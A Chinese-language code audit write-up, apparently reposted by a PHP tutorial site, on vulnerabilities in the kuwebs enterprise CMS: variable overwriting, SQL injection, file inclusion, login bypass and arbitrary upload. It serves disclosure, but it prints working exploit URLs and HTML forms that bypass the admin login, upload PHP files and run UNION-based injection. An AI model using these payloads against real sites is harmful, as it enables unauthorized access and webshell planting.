网站地图    收藏   

主页 > 后端 > 网站安全 >

kuwebs代码审计报告各种鸡肋漏洞打包与修复 - 网

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 先来个介绍:酷纬企业网站管理系统是酷纬信息(www.kuwebs.com)开发的为企业网站提供一揽子解决方案的营销型网站系统,后台采用PHP+Mysql架构,内置企业简介模块、新闻模块、产品模块、...

先来个介绍:

酷纬企业网站管理系统是酷纬信息(www.kuwebs.com)开发的为企业网站提供一揽子解决方案的营销型网站系统,后台采用PHP+Mysql架构,内置企业简介模块、新闻模块、产品模块、图片模块、下载模块、在线留言模块、常见问题模块、友情链接模块。前台采用DIV+CSS,遵循SEO标准,通过模板或者定制为企业提供专业的营销型网站。

 

\

19万。。。

 

 

代码审计推荐工具:Seay PHP代码审计工具2012终结版

下载地址:http://www.2cto.com/soft/201211/35390.html

 

作者:Seay

博客:http://www.cnseay.com/

 

本文及EXP下载:
http://www.cnseay.com/wp-content/uploads/2012/12/kuwebs代码审计报告漏洞打包与修复.rar

部分漏洞列表:

一、变量覆盖漏洞

二、发表留言处盲注

三、在线应聘处盲注

四、getIP()函数鸡肋注入

五、文件包含漏洞

六、变量覆盖,注入满天飞之后台绕过登陆多种方法

七、任意文件上传漏洞

八、在线反馈注入漏洞

无限注入。。。

任意文件删除。。。

任意文件下载。。。

无限。。。。

 

 

一、变量覆盖漏洞

看首页文件index.php 一开始就包含‘inc/common.inc.php’ 跟进去看看。

 

<?php

require_once ’inc/common.inc.php’; //加载系统公共函数和系统的前台配置文件

 

if(2 == $kuWebsiteHTMLStartType)

{

//echo $kuHttpPath.’index_’.$kuWebsiteDefauleIndexLanguage.$kuWebsiteTempHTMLType;

$content = @file_get_contents($kuHttpPath.’index_’.$lang.transferHTMLType($kuWebsiteHTMLType));

if(!empty($content))

{

echo $content;

exit;

}

}

 

 

‘inc/common.inc.php’ admin\inc\common.inc.php看到了一段经典代码,变量覆盖

 

$_POST = filterChar($_POST);

$_GET = filterChar($_GET);

$_COOKIE = filterChar($_COOKIE);

 

if(!ini_get(‘register_globals’))

{

@extract($_COOKIE, EXTR_SKIP);

@extract($_FILES, EXTR_SKIP);

}

 

 

foreach(array(‘_COOKIE’, ’_POST’, ’_GET’) as $_request)

{

foreach($$_request as $_key => $_value)

{

$key{0} != ’_' && $$_key = daddslashes($_value);

}

}

 

 

修复:不要懒着定义变量,想省点事注册变量就把这段代码丢前面一点

 

二、发表留言处盲注

message/add.php 文件

 

<?php

require_once ’../inc/common.inc.php’;

$kuMessageBackSendUrl = $kuHttpPath.”message/index.php?lang={$kuWebsiteCurrLanguage}&menuid={$menuid}&page=1″;

 

 

$strSql = ”select id, menutitle from {$configTableHead}menu where fatherid={$menuid} and lang=’{$kuWebsiteEditVersionLanguage}’;”;

$result = $dbInstance->query($strSql);

while($row = $dbInstance->fetchArray($result))

{

$secondMenuNav[] = $row;

}

 

 

$menuid 无单引号压力。

 

修复:单引号

 

 

三、在线应聘处盲注

/job/resume.php 文件 第40

 

$arrMenuInfo = getMenuIdInfo($menuid);

$topMenuId = ”;

if(count($kuMenuList[$kuProductShow['type3']]))$topMenuId = $arrMenuInfo['type3'];

else if(count($kuMenuList[$kuProductShow['type2']]))$topMenuId = $arrMenuInfo['type2'];

else if(count($kuMenuList[$kuProductShow['type1']]))$topMenuId = $arrMenuInfo['type1'];

 

 

getMenuIdInfo($menuid) 我们跟进看一下

\inc\commonfunc.inc.php文件 435

 

function getMenuIdInfo($id)

{

if(” == $id || 0 > $id)return;

global $configTableHead, $kuWebsiteCurrLanguage, $dbInstance;

$strSql = ”select id, fatherid from {$configTableHead}menu where id={$id};”;

$row1 = $dbInstance->getOne($strSql);

 

 

看到带入了数据库,同样的无单引号压力注入

 

修复:单引号

 

 

五、getIP()函数鸡肋注入

 

\inc\commonfunc.inc.php 文件和 admin/inc/commonfunc.inc.php

 

function getIP()

{

if (getenv(“HTTP_CLIENT_IP”) && strcasecmp(getenv(“HTTP_CLIENT_IP”), ”unknown”)) {$ip = getenv(“HTTP_CLIENT_IP”);}

else if (getenv(“HTTP_X_FORWARDED_FOR”) && strcasecmp(getenv(“HTTP_X_FORWARDED_FOR”), ”unknown”)) {$ip = getenv(“HTTP_X_FORWARDED_FOR”); }

else if (getenv(“REMOTE_ADDR”) && strcasecmp(getenv(“REMOTE_ADDR”), ”unknown”)) {$ip = getenv(“REMOTE_ADDR”); }

else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], ”unknown”)){$ip = $_SERVER['REMOTE_ADDR']; }

else {$ip = ”unknown”; }

return($ip);

}

 

经常出现的一个问题,木有过滤,无视GPCHTTP_CLIENT_IP我们可控,导致注入,蛋疼这个函数只在后台调用了几次。登陆处有调用,但是木用。

 

 

修复:验证IP地址格式

 

五、文件包含漏洞

admin//index.php 文件

 

<?php

session_start(); //开启session

require_once(‘inc/common.inc.php’);

if(!empty($menu) && !empty($path)) //入口参数的判定

{

if(‘php’ == fileExt($menu)) //判断menu是否PHP文件

{

include_once($path.’/’.$menu);

}

else

{

include_once($path.’/’.$menu.’.inc.php’);

}

exit;

}

include_once(‘inc/logincheck.php’); //管理员登陆模块的加载

include_once(‘template/’.$adminTemplateName.’/index.html’); //加载后台index.html静态页面

?>

 

 

接收到参数,包含了再判断有木有登陆,晚了,结合它的变量覆盖,$menu $path我们都可控,直接包含。

\

修复:敢不敢别这么包含文件

 

六、变量覆盖,注入满天飞之后台绕过登陆多种方法

绕过登陆一、

我们先看他的验证登陆的文件admin/inc/logincheck.php

<?php

session_start();

require_once(‘common.inc.php’);

$adminId = $_SESSION['adminid'];

$adminUser = $_SESSION['adminuser'];

$adminPassword = $_SESSION['adminpassword'];

 

 

$strSql = ”select id, adminuser, adminpassword from {$configTableHead}admin where adminuser = ’{$adminUser}’ and adminpassword = ’{$adminPassword}’;”;

$row = $dbInstance->getOne($strSql);

if(1 > $row['id'])

{

promptMessage(“index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login”, $promptNonLogin, $configJumpTime);

exit;

}

 

?>

 

 

$configTableHead 变量我们可覆盖哦,有问题,直接覆盖注入

EXP:

http://www.cnseay.com/admin1/left.php?lang=cn&configTableHead=kuwebs_admin limit 1%23 seay

 

 

 

绕过登陆二、

 

我们再看看登陆的文件Admin/login/login_action.inc.php 文件104$configTableHead 变量

 

else if(“” == $action)

{

$userName = trim($_POST['username']);

$password = $_POST['pass'];

$checkCode = trim($_POST['checkCode']);

if(empty($checkCode) || $_SESSION["code"] != $checkCode)

{

promptMessage(“index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login”, $promptEmptyCheckCode, $configJumpTime, $adminHttpImgPath, $kuLanguage);

exit;

}

if(1 > strlen($userName) || 1 > strlen($password))

{

promptMessage(“index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login”, $promptEmptyLogin, $configJumpTime);

exit;

}

$userPassword = CommTool::encryptMd5($password, $configEncryptTimes);

$strSql = ”select id, adminuser, adminpassword from {$configTableHead}admin where adminuser = ’$userName’ and adminpassword = ’$userPassword’;”;

$row = $dbInstance->getOne($strSql);

if(1 > $row['id'])

{

promptMessage(“index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login”, $promptLoginFail, $configJumpTime);

exit;

}

else

{

$_SESSION['adminid'] = $row['id'];

$_SESSION['adminuser'] = $row['adminuser'];

$_SESSION['adminpassword'] = $row['adminpassword'];

if($configIsLog)CommTool::writeLog(“”);

if($configIsLog)CommTool::writeLog(“{$_SESSION['adminuser']} login to system”);

$adminmodifyip = getIP();

$strSql = ”update {$configTableHead}admin set regtime=’{$nowTime}’, adminmodifyip=’{$adminmodifyip}’ where id={$_SESSION['adminid']}”;

if($dbInstance->query($strSql))

{

promptMessage($adminHttpPath.’index.php’, $promptLoginSuccess, $configJumpTime);

exit;

}

else

{

$_SESSION['adminid'] = ”;

$_SESSION['adminuser'] = ”;

$_SESSION['adminpassword'] = ”;

promptMessage(“index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login”, $promptLoginUpdateFail, $configJumpTime);

exit;

}

}

 

 

很明显的,本来我们可以利用前面的变量覆盖来覆盖$configTableHead再注入,绕过登陆,

蛋疼的后面

$strSql = ”update {$configTableHead}admin set regtime=’{$nowTime}’, adminmodifyip=’{$adminmodifyip}’ where id={$_SESSION['adminid']}”;

if($dbInstance->query($strSql))

{

promptMessage($adminHttpPath.’index.php’, $promptLoginSuccess, $configJumpTime);

exit;

}

else

{

$_SESSION['adminid'] = ”;

$_SESSION['adminuser'] = ”;

$_SESSION['adminpassword'] = ”;

 

 

记录管理登陆日志,这个不跟前面的注入复合,又回滚了session,原本登陆了就又消失了。

 

 

不过我们往上看一点。第16行开始

else if(“relogin” == $action)

{

$oldAdminUser = $_SESSION['adminuser'];

$_SESSION['adminid'] = ”";

$_SESSION['adminuser'] = ”";

$_SESSION['adminpassword'] = ”";

$userName = trim($_POST['username']);

$password = $_POST['pass'];

if($configIsLog)CommTool::writeLog(“$oldAdminUser Exit. Change into $userName to login”);

if(1 > strlen($userName) || 1 > strlen($password))

{

promptMessage(“index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login”, $promptNonLogin, $configJumpTime);

exit;

}

$userPassword = CommTool::encryptMd5($password, $configEncryptTimes);

$strSql = ”select id, adminuser, adminpassword from {$configTableHead}admin where adminuser = ’$userName’ and adminpassword = ’$userPassword’;”;

$row = $dbInstance->getOne($strSql);

if(1 > $row['id'])

{

if($configIsLog)CommTool::writeLog(“{$_SESSION['adminuser']} login to system failed”);

promptMessage(“index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login”, $promptLoginFail, $configJumpTime);

exit;

}

else

{

$_SESSION['adminid'] = $row['id'];

$_SESSION['adminuser'] = $row['adminuser'];

$_SESSION['adminpassword'] = $row['adminpassword'];

if($configIsLog)CommTool::writeLog(“{$_SESSION['adminuser']} login to system Success”);

promptMessage(“index.php”, $promptLoginSuccess, $configJumpTime);

exit;

}

 

 

很明显,这里没有回滚session,那我们就可以覆盖$configTableHead变量来注入绕过登陆了

 

\

EXP

 

<html>

<head>

<title>www.cnseay.com</title>

</head>

<body>

<form name=”form1″ method=”post” action=”http://www.cnseay.com/admin1/index.php?lang=cn&path=login&menu=login_action&action=relogin”>

<input name=”username” type=”hidden” value=”admin” />

<input name=”pass” type=”hidden” value=”admin” />

<input name=”configTableHead” type=”hidden” value=”kuwebs_admin limit 1# 1″ />

<input type=”submit” value=”登 陆“>

</form>

</body>

</html>

 

 

www.cnseay.com/admin1修改成网站后台地址,点击登陆即可。

当然绕过的方法不止这些,还有比如覆盖数据库连接字符的等等。

 

修复:不多说。。。

 

 

八、任意文件上传漏洞

 

像这种变量覆盖的,基本都有任意文件上传。

看到admin/uploadfilesave.php 文件木有验证登陆权限,再看72

$downloadurl=upload(‘imgurl’, $kuWebsiteAllowUploadFileFormat);

 

看看upload函数

function upload($form, $fileFormat)

{

global $promptIncludeDirUploadFileCanNotWrite, $promptIncludeDirCorrectUploadFileFormat, $promptIncludeDirCopyUploadFileError;

if (is_array($form))

{

$filear = $form;

}

else

{

$filear = $_FILES[$form];

}

/..省略./

if ($fileFormat != ”" && !in_array(strtolower($ext), explode(“|”, strtolower($fileFormat))))

 

可见我们只要覆盖$kuWebsiteAllowUploadFileFormat 变量即可上传任意文件。

 

直接给出EXP

<form name=”form1″ enctype=”multipart/form-data” method=”post” action=”http://www.cnseay.com/admin/include/uploadfilesave.php?action=add”>

<input type=”file” name=”imgurl”>

<input type=”hidden” name=”kuWebsiteAllowUploadFileFormat” value=”php|asp|aspx”>

<input type=”submit” name=”Submit” value=”“>

</form>

 

修复:不多说。。。

 

 

八、在线反馈注入漏洞

看到文件plus/feedback.php 105

$strSql = ”select * from {$configTableHead}{$fType} where id={$objectid}”;

同样无单引号压力

测试:

http://localhost/kuwebs/plus/feedback.php?feedbacktype=1&objectid=1 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16

 

\

无限注入:

这种注入还有不少,比如admin/menu/menu_modify.inc.php文件等

$strFather = ”select * from {$configTableHead}menu where id={$fatherId};”;

就不列那么多了。

 

修复:单引号。。。

 

 

变量覆盖是个大问题啊,容易导致二次利用的漏洞,上面说的任意文件删除什么的,自己到后台黑盒看看就知道了。

 

暂时先看到这里了,问题太多,等修复了再看看吧。

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论